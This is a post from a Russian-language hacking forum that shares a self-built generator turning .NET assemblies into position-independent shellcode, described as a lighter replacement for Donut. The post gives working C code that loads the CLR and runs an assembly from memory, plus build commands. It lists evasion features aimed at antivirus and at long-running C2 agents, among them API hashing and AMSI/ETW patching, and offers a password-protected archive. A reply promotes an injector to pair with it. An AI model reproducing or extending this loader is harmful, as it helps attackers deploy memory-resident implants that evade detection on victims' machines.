• XSS.stack #1 – первый литературный журнал от юзеров форума

прочее Генератор PIC-загрузчика .NET, или свой Donut на минималках

moveaxeax

floppy-диск
Пользователь
Регистрация
15.04.2022
Сообщения
6
Реакции
28
Мне всегда нравился пончик и, в особенности, его возможности по созданию шеллкодов из сборок .NET. К сожалению, из-за высокой популярности фреймворка его встроенный бутстрап (загрузчик) стал узнаваем многими антивирусными решениями — это особенно критично при использовании долгоиграющих полезных нагрузок, которые подразумевают продолжительное нахождение в памяти, например, агенты Цэ2. В этом случае, даже если сам процесс инжекта проходит нормально, первое же сканирование памяти по планировщику алертнет о заражении.

Поэтому было решено реимплементировать вышеуказанную функциональность в отдельный инструмент, дабы продолжать извлекать выгоду из безфайлового позиционно-независимого запуска приложений на C#.

Примечание: шаблон для генератора заимствует много кода из open source проектов с GitHub, однако считаю, что условиям конкурса он не противоречит, т. к. на выходе имеем a) авторский продукт, b) в итоговом виде ранее не встречавшийся в паблике, c) целевое предназначение которого, на мой взгляд, очень актуально на данный момент для тех, кто в теме.
Дисклеймер: все материалы из этой статьи — только для учебных целей; автор не несет ответственности за любое их неправомерное использование.

Принудительный хостинг CLR

Чтобы запустить .NET приложение из памяти, нужен рантайм (CLR) управляемого кода. Загрузить рантайм и передать ему байт-код можно из любого неуправляемого процесса с помощью нескольких методов WinAPI. На этой простой концепции основаны однотипные модули множества разных C2, обычно называемые их авторами по типу *execute*assembly*.

Два отдельных проекта, дающих хорошее понимание того, как добиться загрузки CLR — это HostingCLR (PoC) и InMemoryNET (вооруженный PoC).

Краткое описание используемых апи и интерфейсов в стиле "Explain Like I'm Five":
  1. mscoree.dll!CLRCreateInstance — отдает интерфейс ICLRMetaHost.
  2. ICLRMetaHost::GetRuntime — отдает интерфейс ICLRRuntimeInfo.
  3. ICLRRuntimeInfo::IsLoadable — проверяет, может ли рантайм требуемой версии (обычно это v4.0.30319) быть загружен в текущий процесс.
  4. ICLRRuntimeInfo::GetInterface — отдает интерфейс ICLRRuntimeHost.
  5. ICLRRuntimeHost::Start — собственно, загружает рантайм в текущий процесс.
  6. ICLRRuntimeHost::GetDefaultDomain — отдает базовый COM-интерфейс IUnknown для запроса домена приложения.
  7. IUnknown::QueryInterface — отдает домен приложения по умолчанию.
  8. oleaut32.dll!SafeArrayCreate — размещает байт-код сборки .NET в специальной структуре, которую требует метод Load_3 домена приложения, для загрузки сборки.
  9. AppDomain.Load, Assembly.EntryPoint — загружает сборку в память и отдает адрес точки входа в виде указателя MethodInfo.
  10. oleaut32.dll!SafeArrayCreateVector, oleaut32.dll!pSafeArrayPutElement — танцы с бубном вокруг передачи требуемых сборкой аргументов на точку входа.
  11. MethodInfo.Invoke — запуск сборки.
В коде это выглядит примерно так:

C:
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknown* pAppDomainThunk = NULL;
AppDomain* pDefaultAppDomain = NULL;
SAFEARRAY* pSafeArray = NULL;
Assembly* pAssembly = NULL;
MethodInfo* pMethodInfo = NULL;
int bLoadable = 0;
void* pvData = NULL;

HRESULT result = pCLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost);
if (FAILED(result)) goto cleanup;

WCHAR CLR_Version[] = { L'v',L'4',L'.',L'0',L'.',L'3',L'0',L'3',L'1',L'9', 0 };

result = pMetaHost->lpVtbl->GetRuntime(pMetaHost, CLR_Version, &xIID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo);
if (FAILED(result)) goto cleanup;

result = pRuntimeInfo->lpVtbl->IsLoadable(pRuntimeInfo, &bLoadable);
if (FAILED(result) || !bLoadable) goto cleanup;

result = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)&pRuntimeHost);
if (FAILED(result)) goto cleanup;

result = pRuntimeHost->lpVtbl->Start(pRuntimeHost);
if (FAILED(result)) goto cleanup;

result = pRuntimeHost->lpVtbl->GetDefaultDomain(pRuntimeHost, &pAppDomainThunk);
if (FAILED(result)) goto cleanup;

result = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, (LPVOID*)&pDefaultAppDomain);
if (FAILED(result)) goto cleanup;

SAFEARRAYBOUND rgsabound[1];
rgsabound[0].cElements = 31337;
rgsabound[0].lLbound = 0;

pSafeArray = pSafeArrayCreate(VT_UI1, 1, rgsabound);
result = pSafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(result)) goto cleanup;

my_memcpy(pvData, ASSEMBLY, 31337);

result = pSafeArrayUnaccessData(pSafeArray);
if (FAILED(result)) goto cleanup;

result = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain, pSafeArray, &pAssembly);
if (FAILED(result)) goto cleanup;

result = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
if (FAILED(result)) goto cleanup;

VARIANT retVal; ZeroMemory(&retVal, sizeof(VARIANT));
VARIANT obj; ZeroMemory(&obj, sizeof(VARIANT));
obj.vt = VT_NULL;

VARIANT vtPsa;
vtPsa.vt = (VT_ARRAY | VT_BSTR);
SAFEARRAY* psaStaticMethodArgs = pSafeArrayCreateVector(VT_VARIANT, 0, 1);

WCHAR argv[3][5] = { {L'a',L'r',L'g',L'1', 0}, {L'a',L'r',L'g',L'2', 0}, {L'a',L'r',L'g',L'3', 0} };

vtPsa.parray = pSafeArrayCreateVector(VT_BSTR, 0, 3);
for (long i = 0; i < 3; i++) pSafeArrayPutElement(vtPsa.parray, &i, pSysAllocString(argv[i]));
long idx[1] = { 0 };
pSafeArrayPutElement(psaStaticMethodArgs, idx, &vtPsa);

result = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaStaticMethodArgs, &retVal);
if (FAILED(result)) goto cleanup;

Позиционно-независимый код

Как уже было сказано, эта техника стара как мир, и доступна в виде многих открытых проектов. Более интересной и актуальной задачей является компиляция такого загрузчика в позиционно-независимый код или, по-простому, шеллкод.

Особенности, которые были приняты во внимание во время решения этой задачи:
  • Динамическое разрешение необходимых WinAPI во время рантайма (поиск адресов загруженных библиотек и их экспортов) с использованием API Hashing.
  • Отказ от глобальных переменных и статических строк в коде, т. к. на выходе должна быть только секция .text.
  • Возможность хранения большого массива байт-кода .NET сборки на стеке (а не в .data) в обход оптимизаций компилятора.
  • Использование непрямых системных вызовов для патчинга AMSI/ETW перед прыжком на энтрипоинт .NET сборки.
  • Сокрытие подозрительной телеметрии в стеке вызовов.
Примечание: два крайних пункта в этом релизе не представлены, ибо приват. Однако допилить это обычно не составляет труда.

Есть много шаблонов, упрощающих PIC-разработку, но для небольших проектов вроде этого достаточно подхода ParanoidNinja, при котором исходный код пишется на C, компилируется без stdlib и линкуется с выравниванием стека для graceful-возвращения из шеллкода: https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/.

CLRify. XSS Edition

Зависимости:

Bash:
apt install -y nasm g++-mingw-w64-x86-64 mono-devel python3

Протестировано на Ubuntu 22.04.3 LTS с компилятором x86_64-w64-mingw32-gcc (GCC) 10-win32 20220113 и на Kali 2022.4 с компилятором x86_64-w64-mingw32-gcc (GCC) 12-win32.

Проект представляет из себя шаблон на C, аккомпанируемый скриптом на Петухоне, который реплейсит затычки и рисует красивый скрипткидди-стайл баннер.

1707349911565.png

Структура

Пример № 1. Создание шеллкода из тестовой сборки с аргументами:

Bash:
mono-csc /t:exe /out:TestAssembly.exe TestAssembly/TestAssembly.cs
./CLRify.py TestAssembly.exe arg1 arg2 arg3
nasm -f win64 TestAssembly/testShellcode.asm -o testShellcode.o
x86_64-w64-mingw32-ld testShellcode.o -o testShellcode.exe

1707350234388.png

1707351884738.png

Пример 1

Пример № 2. Создание шеллкода из тестовой сборки без аргументов:

Bash:
mono-csc /t:exe /out:TestAssembly.exe TestAssembly/TestAssemblyNoArgs.cs
NARGS=1 ./CLRify.py TestAssembly.exe
nasm -f win64 TestAssembly/testShellcode.asm -o testShellcode.o
x86_64-w64-mingw32-ld testShellcode.o -o testShellcode.exe

1707350352674.png

1707351944139.png

Пример 2

Сам инжектор в проект не включен по очевидным причинам: каждый специалист пользуется тем, что ему удобно + от способа инъекции поведение не зависит.

Ссылочки
Пароль от архива — xss.pro. За сим все, задавайте ваши ответы :)
 

Вложения

  • PIC-ExecuteAssembly.zip
    11.8 КБ · Просмотры: 48
The injector itself is not included in the project for obvious reasons: each specialist uses what is convenient for him + the behavior does not depend on the injection method.
There is my injector also on forum that can be used :D. Even that its just a joke i believe it will work fine combined. Congratulations on your project, very cool ideas shared here.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх